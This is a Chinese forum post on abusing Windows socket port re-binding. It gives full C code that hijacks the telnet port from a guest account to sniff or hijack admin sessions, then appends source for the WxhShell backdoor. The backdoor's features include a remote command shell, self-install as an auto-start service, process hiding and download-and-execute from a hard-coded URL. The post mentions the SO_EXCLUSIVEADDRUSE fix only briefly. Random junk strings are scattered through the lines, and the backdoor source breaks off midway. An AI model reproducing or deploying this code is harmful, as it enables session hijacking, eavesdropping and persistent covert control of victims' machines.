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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6#SUfK;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g,61'5\  
`EJ.L6j$'  
  saddr.sin_family = AF_INET; qjrl$[`X:  
CNkI9>L=W`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (<ZpT%2  
N3rq8Rk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T>cO{I  
Am @o}EC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Xvr7qowL  
4v?}K   
  这意味着什么?意味着可以进行如下的攻击: `k]2*$%  
cKM#0dq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )d$FFTH  
5z~O3QX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )nM<qaI{  
\fD)|   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5HqvSfq>?  
hq|I%>y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hzcSKRm  
L%Mj{fJ>Wm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \)'5V!B|s  
FMNT0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `$oy4lDKQ  
p`I[3/$3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m*f"Y"B.1I  
N}\%r&KR=  
  #include o0}kRL  
  #include 6a!b20IZh  
  #include V<&^zIJUR  
  #include    KKcajN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \M U-D,@  
  int main() WM8])}<L  
  { dMlJ2\ ]u  
  WORD wVersionRequested; &)ED||r,  
  DWORD ret; E gD$A!6N8  
  WSADATA wsaData; F>lM[Lu#  
  BOOL val; :6[G;F7s  
  SOCKADDR_IN saddr; 9pMXjsE   
  SOCKADDR_IN scaddr; pAtt=R,Ht  
  int err; ]*]#I?&'Hx  
  SOCKET s; =!N,{V_  
  SOCKET sc; "969F(S$  
  int caddsize; Z(Z$>P&4  
  HANDLE mt; bHK[Z5  
  DWORD tid;   9~5LKg7Ac  
  wVersionRequested = MAKEWORD( 2, 2 ); Tf{lH9ca$  
  err = WSAStartup( wVersionRequested, &wsaData ); F"| ;  
  if ( err != 0 ) { s^R$u"pFs  
  printf("error!WSAStartup failed!\n"); 3\2^LILLO  
  return -1; f!K{f[aDa  
  } 9cXL4  
  saddr.sin_family = AF_INET; UpSa7F:Uw  
   'Y22HVUX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [R(dCq>  
dh-?_|"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lKBI3oYn  
  saddr.sin_port = htons(23); U_C[9Z'P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <0btwsv}  
  { dthtWnB@  
  printf("error!socket failed!\n"); 's\rQ-TV  
  return -1; :2*0Jh3_  
  } @>q4hYF  
  val = TRUE; -_^#7]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y;1s=B9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u-u:7VtH0=  
  { 2UeK%-~W?  
  printf("error!setsockopt failed!\n"); Xk?Y  
  return -1; XES$V15  
  } qNX+!Y}y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q6$^lRNOpk  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #Fckev4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B,4 3b O  
,E &W{b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MZ:Ty,pw:O  
  { lGXr-K?+Y  
  ret=GetLastError(); f3SAK!V+s  
  printf("error!bind failed!\n"); 8E|FFHNK<2  
  return -1; Bp/ k{7  
  } Exz(t'  
  listen(s,2); "P!zu(h4  
  while(1) )&[Zw{6P  
  { wpf  
  caddsize = sizeof(scaddr); :a*F>S!  
  //接受连接请求 LM*m> n*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F#Bi*YY  
  if(sc!=INVALID_SOCKET) +a|u,'u  
  { 7,3 g{8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A",Xn/d  
  if(mt==NULL) JpZ3T~Wrf  
  { GXwQ )P5]  
  printf("Thread Creat Failed!\n"); 98Im/v  
  break; 1>)uI@?Rb  
  } ]htx9ds=  
  } \79aG3MyK  
  CloseHandle(mt); BWLeitS/  
  } 7!A3PDAe  
  closesocket(s); 6)1xjE#  
  WSACleanup(); .#_g.0<  
  return 0; uz@lz +  
  }   oR}'I  
  DWORD WINAPI ClientThread(LPVOID lpParam) vFK!LeF%  
  { _/5xtupxE  
  SOCKET ss = (SOCKET)lpParam; keS%w]87  
  SOCKET sc; DG/<#SCF  
  unsigned char buf[4096]; U?8X]  
  SOCKADDR_IN saddr; t<yOTVah  
  long num; 6Z!OD(/e  
  DWORD val; /'L/O;H20  
  DWORD ret; X({R+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /H$/s=YU\U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Bw4PxJs-  
  saddr.sin_family = AF_INET; vJg^uf)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q@- h  
  saddr.sin_port = htons(23); H1e^/JD)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;|.IUXEgcF  
  { V&>mD"~MP  
  printf("error!socket failed!\n"); , R $ZZ4  
  return -1; '_%`0p1  
  } =%0r_#F%=  
  val = 100; 3M[5_OK   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rlSflcK\\(  
  { ol@LLT_m  
  ret = GetLastError(); TN.&FDqC9  
  return -1; N=;VS-  
  } YA@OA$`E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6@J)k V  
  { $jN,] N~  
  ret = GetLastError(); F17nWvF  
  return -1; 0[!38  
  } ZZU"Q7`^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;op 8r u  
  { gro@+^DmT  
  printf("error!socket connect failed!\n"); +$D~?sk  
  closesocket(sc); ?&"!,  
  closesocket(ss); (\ Gs7  
  return -1; ^vr`t9EE  
  } > 72qi*0  
  while(1) N}7tjk   
  { #3((f[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 YojYb]y+ j  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S@vLh=65  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B#K2?Et!t  
  num = recv(ss,buf,4096,0); <m+$@:cO  
  if(num>0) 5# $5ct  
  send(sc,buf,num,0); :a y-2  
  else if(num==0) ^?gs<-)B  
  break; Cs8e("w  
  num = recv(sc,buf,4096,0); Oxr?y8C~  
  if(num>0) j:J{m0  
  send(ss,buf,num,0); Pt8 U0)i)  
  else if(num==0) UU 2 =W  
  break; 5:~BGK&{Y  
  } @G0j/@v  
  closesocket(ss); 2B&|0&WI  
  closesocket(sc); x)!NB99(tC  
  return 0 ; 3qBZzM O*  
  } R{A$hnhW6  
3bPF+(`J  
mdPEF)-  
========================================================== jwZBWt )5  
tQrkRg(E:  
下边附上一个代码,,WXhSHELL ^PI8Bvs>j  
,1&</R_  
========================================================== xk$U+8K  
i& ybvTl  
#include "stdafx.h" 8^%Nl `_2B  
2^C>orKQ0  
#include <stdio.h> 5cE?>  
#include <string.h> o$-!E(p  
#include <windows.h> $C8nPl' 7  
#include <winsock2.h> [Oy5Td7[  
#include <winsvc.h> 7;;HP`vY  
#include <urlmon.h> p2: >m\  
f/6,b&l,  
#pragma comment (lib, "Ws2_32.lib") k(.6K[ b  
#pragma comment (lib, "urlmon.lib") _r&,n\ T  
W6 U**ir.  
#define MAX_USER   100 // 最大客户端连接数 .y~vn[qN  
#define BUF_SOCK   200 // sock buffer x[5uz))  
#define KEY_BUFF   255 // 输入 buffer R:t>P Fwo  
J"Z=`I)KON  
#define REBOOT     0   // 重启 j"c30AY  
#define SHUTDOWN   1   // 关机 :v>Nz7SB  
ht 1d[  
#define DEF_PORT   5000 // 监听端口 c;dMXv   
$06[D91'  
#define REG_LEN     16   // 注册表键长度 _rU%DL?  
#define SVC_LEN     80   // NT服务名长度 c_#+xGS!7  
K7CrRT3>6  
// 从dll定义API n$O[yRMI[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )IH|S5mG?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FELDz7DYya  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ',Q|g^rF]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?\.aq p1B  
jJK`+J,i}X  
// wxhshell配置信息 M)JKe!0ad1  
struct WSCFG { q&RezHK l  
  int ws_port;         // 监听端口 TC+L\7   
  char ws_passstr[REG_LEN]; // 口令 ZcLW8L  
  int ws_autoins;       // 安装标记, 1=yes 0=no WQ1~9#  
  char ws_regname[REG_LEN]; // 注册表键名 muJR~4  
  char ws_svcname[REG_LEN]; // 服务名 88l\8k4r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RMvq\J}w!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2`;&Uwt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v?=y9lEH@%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \_w>I_=F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G (o9*m1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +-*Ww5Zti  
Jb (CH4|7  
}; >{HQ"{Q  
PV\aQO.mo  
// default Wxhshell configuration 8$TSQ~  
struct WSCFG wscfg={DEF_PORT, ;qN;oSK  
    "xuhuanlingzhe", cfP9b8JG  
    1, !|#W,9  
    "Wxhshell", Ump$N#  
    "Wxhshell", dz>2/'  
            "WxhShell Service", '=X)0GG  
    "Wrsky Windows CmdShell Service", p"UdD  
    "Please Input Your Password: ", G8t9Lx  
  1, lPaTkZw  
  "http://www.wrsky.com/wxhshell.exe", CVt:tV  
  "Wxhshell.exe" "-T[D9(A  
    }; ^P}jn`4  
LN0pC }F  
// 消息定义模块 "!w#E6gU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !ay:h Iv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9Gc4mwu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ouE/\4'NB  
char *msg_ws_ext="\n\rExit."; je`Ysben  
char *msg_ws_end="\n\rQuit."; 2t[P-on  
char *msg_ws_boot="\n\rReboot..."; ZO#f)>s2  
char *msg_ws_poff="\n\rShutdown..."; F(?O7z"d  
char *msg_ws_down="\n\rSave to "; 'w z6Zt  
T@%\?=P  
char *msg_ws_err="\n\rErr!"; hl]q6ZK!6  
char *msg_ws_ok="\n\rOK!"; Cvp!(<<gK  
TT@ U_^o  
char ExeFile[MAX_PATH]; 1PB"1.wnd  
int nUser = 0; tiGBjTPt  
HANDLE handles[MAX_USER]; >I@VHl O  
int OsIsNt; xfa-   
lz7?Z  
SERVICE_STATUS       serviceStatus; 64i*_\UKe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 21$E.x 6  
K0YQ b&*k  
// 函数声明 z ub"Ap3  
int Install(void); er8T:.Py  
int Uninstall(void); L</k+a?H!  
int DownloadFile(char *sURL, SOCKET wsh); QR2S67-  
int Boot(int flag); 02_+{vk!  
void HideProc(void); o(k{Ed  
int GetOsVer(void); W#P`Y< u$  
int Wxhshell(SOCKET wsl); PU,%Y_xR  
void TalkWithClient(void *cs); lvsj4 cT  
int CmdShell(SOCKET sock); r~z'QG6v/  
int StartFromService(void); V3>tW,z  
int StartWxhshell(LPSTR lpCmdLine); BsU}HuQZQ  
#;yxn.</  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D 5bPF~q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ", p5}}/  
0|Xz-Y  
// 数据结构和表定义  W,|+Dl  
SERVICE_TABLE_ENTRY DispatchTable[] = FUarI5#fwF  
{ h 8xcq#  
{wscfg.ws_svcname, NTServiceMain}, {h=gnR-9  
{NULL, NULL} 84WX I#BH  
}; >%ovL8F  
%.m+6 zaF  
// 自我安装 ZTibF'\5N  
int Install(void) D4b-Y[/"  
{ VV{>Kq+&,v  
  char svExeFile[MAX_PATH]; aeISb83Y|  
  HKEY key; }T0O~c{$i  
  strcpy(svExeFile,ExeFile); PY;tu#W!%  
Khb Ku0Z  
// 如果是win9x系统,修改注册表设为自启动 AhD C5ue=  
if(!OsIsNt) { jU $G<G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sH.=Faos  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _jc_(;KPF  
  RegCloseKey(key); =ecLzk"+F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |r*)U(c`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ae2Q^yLA  
  RegCloseKey(key); lYTQg~aPm  
  return 0; X$;&Mdo.  
    } |his8\C+x  
  } B>W8pZu-J  
} pCDN9*0/  
else { gW,hI>  
XC5/$3'M&  
// 如果是NT以上系统,安装为系统服务 J\Hv42  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6Cz O ztn  
if (schSCManager!=0) )S 7+y6f&*  
{ 1X[^^p~^  
  SC_HANDLE schService = CreateService *5 +GJWKN  
  ( \n t~K}a  
  schSCManager, Z,/K$;YWo  
  wscfg.ws_svcname, hbOXR.0z  
  wscfg.ws_svcdisp, l2LLM{B  
  SERVICE_ALL_ACCESS, +ID\u <?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s(nT7x+W  
  SERVICE_AUTO_START, 0|RofL&o  
  SERVICE_ERROR_NORMAL, X%+lgm+  
  svExeFile, JwB'B  
  NULL,  #D4  
  NULL, S~i9~jA  
  NULL, [Q0V5P~Q'  
  NULL, Bz<hP*.O  
  NULL ~g\~x  
  ); X>Vc4n<}  
  if (schService!=0) ~x^y5[5{  
  { Vw1>d+<~-)  
  CloseServiceHandle(schService); '< U&8?S  
  CloseServiceHandle(schSCManager); E ?Mgbd3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1EXT^2!D  
  strcat(svExeFile,wscfg.ws_svcname); 68XJ`/d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Cgx:6TRS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hBjU(}\3  
  RegCloseKey(key); {^z73Gxt,  
  return 0; UZI:st   
    } o]q~sJVk6  
  }  u]Ku96!  
  CloseServiceHandle(schSCManager); 6sBt6?_T  
} mol,iM*l  
} zr /v.$<  
Y"H`+UV  
return 1; 1z PS#K/3  
} @."K"i'Bl  
w.q`E@ T*  
// 自我卸载 hzsQK _;S  
int Uninstall(void) 2iG+Ek-?"  
{ )X0=z1$  
  HKEY key; MY,~leP&  
~HB#7+b  
if(!OsIsNt) { 1.du#w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dd  
  RegDeleteValue(key,wscfg.ws_regname); f~NS{gL*  
  RegCloseKey(key); a9-Mc5^'n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NPK;  
  RegDeleteValue(key,wscfg.ws_regname); ga;nM#/  
  RegCloseKey(key); Uj7YTB  
  return 0; e,JBz~CK*w  
  } l+9RPJD/:  
} ubM1Qr  
} ZaYiby@Ci  
else { g8Ex$,\,  
.;4N:*hY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9^XZ|`  
if (schSCManager!=0) ^I!Z)/  
{ :}e<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |M;Nq@bRv  
  if (schService!=0) gw)4P tb!  
  { ,D;8~l lM  
  if(DeleteService(schService)!=0) { \}$|Uo$O  
  CloseServiceHandle(schService); dPEDsG0$a  
  CloseServiceHandle(schSCManager); 5p#0K@`n/  
  return 0; ESCN/ocV  
  } [c3!xHt5O  
  CloseServiceHandle(schService); 3Y)&[aj  
  } s9ix&m  
  CloseServiceHandle(schSCManager); nK;d\DO  
} y|| n9  
} 9i\RdJv.  
6\.g,>   
return 1; kH eD(Ea  
} j2D!=PK;  
v WXo#  
// 从指定url下载文件 th{f|fm62  
int DownloadFile(char *sURL, SOCKET wsh) 1Vy8eI`4  
{ N|yA]dg[  
  HRESULT hr; VeWh9:"bJ  
char seps[]= "/"; *:CTIV5N0  
char *token; !igPyhi,hl  
char *file; @&m [w'tn  
char myURL[MAX_PATH]; NPH(v`  
char myFILE[MAX_PATH]; FEk9a^Xyx  
Xex7Lr&  
strcpy(myURL,sURL); X%YZQc9  
  token=strtok(myURL,seps); `,V&@}&"n  
  while(token!=NULL) }ppApJT  
  { ! v![K  
    file=token; b$'%)\('g  
  token=strtok(NULL,seps); 5;XC!Gz  
  } %$&eC  
?ES{t4"  
GetCurrentDirectory(MAX_PATH,myFILE); >V^8<^?G  
strcat(myFILE, "\\"); R|RGoGE6g  
strcat(myFILE, file); }ekNZNcuM  
  send(wsh,myFILE,strlen(myFILE),0); k M /:n  
send(wsh,"...",3,0); 0kUhz\"R:q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &`m.]RV  
  if(hr==S_OK) 'l/l]26rO4  
return 0; &MX&5@ Vu  
else l-XfUjJ  
return 1; Qr R+3kxM  
%bP+P(vZ  
} &b@_ah+f  
K>'4^W5d,  
// 系统电源模块 xQZOGq  
int Boot(int flag) %1{S{FB  
{ q?j7bp]  
  HANDLE hToken; e)H FI|>  
  TOKEN_PRIVILEGES tkp; ~~{lIO)&  
|KJGM1]G  
  if(OsIsNt) { r3Ol?p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;rf{T[i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @>z.chM;  
    tkp.PrivilegeCount = 1; t 9(,JC0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q,sO<1wAT\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &5HI   
if(flag==REBOOT) { yFAUD ro  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QO$18MBcc  
  return 0; <@M5 C -hH  
} ^h_rE |c  
else { KYTXf+oh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zdrniae ah  
  return 0; e[fld,s  
} -d?<t}a  
  } ` &=%p|  
  else { D Z~036  
if(flag==REBOOT) { (Tq)!h35B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _&HFKpHQ  
  return 0; vm gd  
} s[4qC  
else { F4=X(P_6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ne9VRM P  
  return 0; c*owP  
} g#P]72TQ  
} |+h x2?Nv  
Ks3YrKk;p  
return 1; -wUT@a  
} =n.&N   
<YCjo[(~  
// win9x进程隐藏模块 GB+$ed5@<  
void HideProc(void) 7IUJHc?  
{ vmxS^_I  
^E, #}cW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l )r^|9{  
  if ( hKernel != NULL ) 1^AQLOiRE1  
  { yu#m6K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E.C=VfBW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1&h\\&ic  
    FreeLibrary(hKernel); Uv k:  
  } "wVisL2+.  
)[99SM   
return; Z2;~{$&M+  
} FS7D  
ZHRMW'Ne  
// 获取操作系统版本 3Q&@l49q  
int GetOsVer(void) z>W?\[E<2  
{ /?>W\bP<  
  OSVERSIONINFO winfo; ht\_YiDg3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =m|<~t  
  GetVersionEx(&winfo); 2n"-~'3\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dM"5obEb  
  return 1; YxnZ0MY  
  else J^WX^".E  
  return 0; dRs\e(H'  
} # - L<  
1< b~="  
// 客户端句柄模块 mJ8EiRSE  
int Wxhshell(SOCKET wsl) HII@Ed f?  
{ uEsF 8  
  SOCKET wsh; U*EBH  
  struct sockaddr_in client; 4tkb7D q  
  DWORD myID; akj#.aYk  
E?&YcVA  
  while(nUser<MAX_USER) $LBgBH &z  
{ t%y i3  
  int nSize=sizeof(client); 7#HSe#0J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uv$utu>< *  
  if(wsh==INVALID_SOCKET) return 1; %f\j)qw  
$5#DU__F/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OZKZv,  
if(handles[nUser]==0) 4Qi-zNNB  
  closesocket(wsh); ,\T`gh  
else ZRGe$HaU  
  nUser++; jJ RaY3  
  } B&(/,.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?J|  
O*F= xG  
  return 0; N+]HJ`K  
} 6 {`J I  
N5MWMN[6aP  
// 关闭 socket 5rtE/ {A  
void CloseIt(SOCKET wsh) PTQN.[bBh  
{ \+ Ese-la  
closesocket(wsh); |]HA@7B  
nUser--; xyV7MW\?w  
ExitThread(0); xNJ*TA[+  
} Ea[SS@'R  
C szZr>Z  
// 客户端请求句柄 1vh[sKv9%  
void TalkWithClient(void *cs) jlyuu  
{ B90fUK2g  
ubKp P%Z  
  SOCKET wsh=(SOCKET)cs; 'v(b^x<ZS  
  char pwd[SVC_LEN]; wgQx.8 h>  
  char cmd[KEY_BUFF]; :VR% I;g;  
char chr[1]; f]Zj"Tt-  
int i,j; Yru,YA   
*aYuuRx  
  while (nUser < MAX_USER) { 6 ZXRb  
a!j{A?7Kw.  
if(wscfg.ws_passstr) { Z0 c|;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  ;t/KF"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $F/xv&t  
  //ZeroMemory(pwd,KEY_BUFF); PmE 8O  
      i=0; <pFbm  
  while(i<SVC_LEN) { a0k/R<4  
$}H,g}@0  
  // 设置超时 nbv}Q-C  
  fd_set FdRead; *]Eyf")  
  struct timeval TimeOut; sZ"(#g;3<  
  FD_ZERO(&FdRead); (F#2z\$;  
  FD_SET(wsh,&FdRead); D4{<~/oBv  
  TimeOut.tv_sec=8; LmKY$~5P  
  TimeOut.tv_usec=0; 2H1?f|0>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kb\\F:w(W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Eb&=$4c=  
Q ~eh_>"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RRpCWc Iv"  
  pwd=chr[0]; yx<-M  
  if(chr[0]==0xd || chr[0]==0xa) { 4^^=^c  
  pwd=0; Gg^gK*D  
  break; pe!"!xJE  
  } R$2\Xl@qQF  
  i++; i66/2BUh.  
    } `@&WELFv{  
GCrsf  
  // 如果是非法用户,关闭 socket F_iZ|B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %YG[?"P'  
} _]< Tv3]RK  
1,n\Osd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ] `;Fc8$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +^$E)Ol  
S<I9`k G  
while(1) { [1e/@eC5  
5hDm[*83  
  ZeroMemory(cmd,KEY_BUFF); bW GMgC  
8wCB}qC  
      // 自动支持客户端 telnet标准    ,}^FV~  
  j=0; Rz<'& Z>;  
  while(j<KEY_BUFF) { "!#KQ''R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yi<H }&  
  cmd[j]=chr[0]; q^}iXE~  
  if(chr[0]==0xa || chr[0]==0xd) { G,b*Qn5#  
  cmd[j]=0;  cj|Urt  
  break; #_'^oGz`  
  } h\|T(597.  
  j++; >4?735f=x  
    } 6"2IV  
8&y#LeM1TT  
  // 下载文件 W#L/|K!S  
  if(strstr(cmd,"http://")) { T9YrB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QOv@rP/  
  if(DownloadFile(cmd,wsh)) 2}9M7Z",2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); As|e=ut(  
  else i@ehD@.dH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ^5R2~  
  } I7;|`jN5K  
  else { eB<R"Yvi  
EuKkIr/(  
    switch(cmd[0]) { =BO>Bi&&  
  N1JM[<PP  
  // 帮助 4=l$wg~;  
  case '?': { 76cT}l&.h8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r_Pi)MPc  
    break; C!|Yz=e  
  } 5?>ES*  
  // 安装 >UXNR`?  
  case 'i': { N LSJ D  
    if(Install()) x.q"FXu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &iaS3x  
    else Pu,2a+0N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3 t+1M  
    break; V?n=yg  
    } 7J|nqr`>t  
  // 卸载 ? RI D4xu!  
  case 'r': { Ime"}*9  
    if(Uninstall()) ]9}^}U1."  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  qy/t<2'  
    else eI/5foA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d*LW32B@  
    break; zCmx1Djz  
    } .i3_D??  
  // 显示 wxhshell 所在路径 xC 4L`\  
  case 'p': { (JT 273  
    char svExeFile[MAX_PATH]; Pk`3sfz  
    strcpy(svExeFile,"\n\r"); 7DWGYvv[  
      strcat(svExeFile,ExeFile); 8Q73h/3  
        send(wsh,svExeFile,strlen(svExeFile),0);  =tc!"{  
    break; )< p ~  
    }  ^]?ju L  
  // 重启 R|]n;*y  
  case 'b': { {vp*m :K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [G"Va_A8  
    if(Boot(REBOOT)) 5Rae?* XH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fN6n2*wr(  
    else { "Ve9\$_s  
    closesocket(wsh); $-paYQ4  
    ExitThread(0); a[E}o<{  
    } 1/J6<FVq  
    break; j7J'd?l  
    } c'wU$xt.w  
  // 关机 "-Wb[*U;  
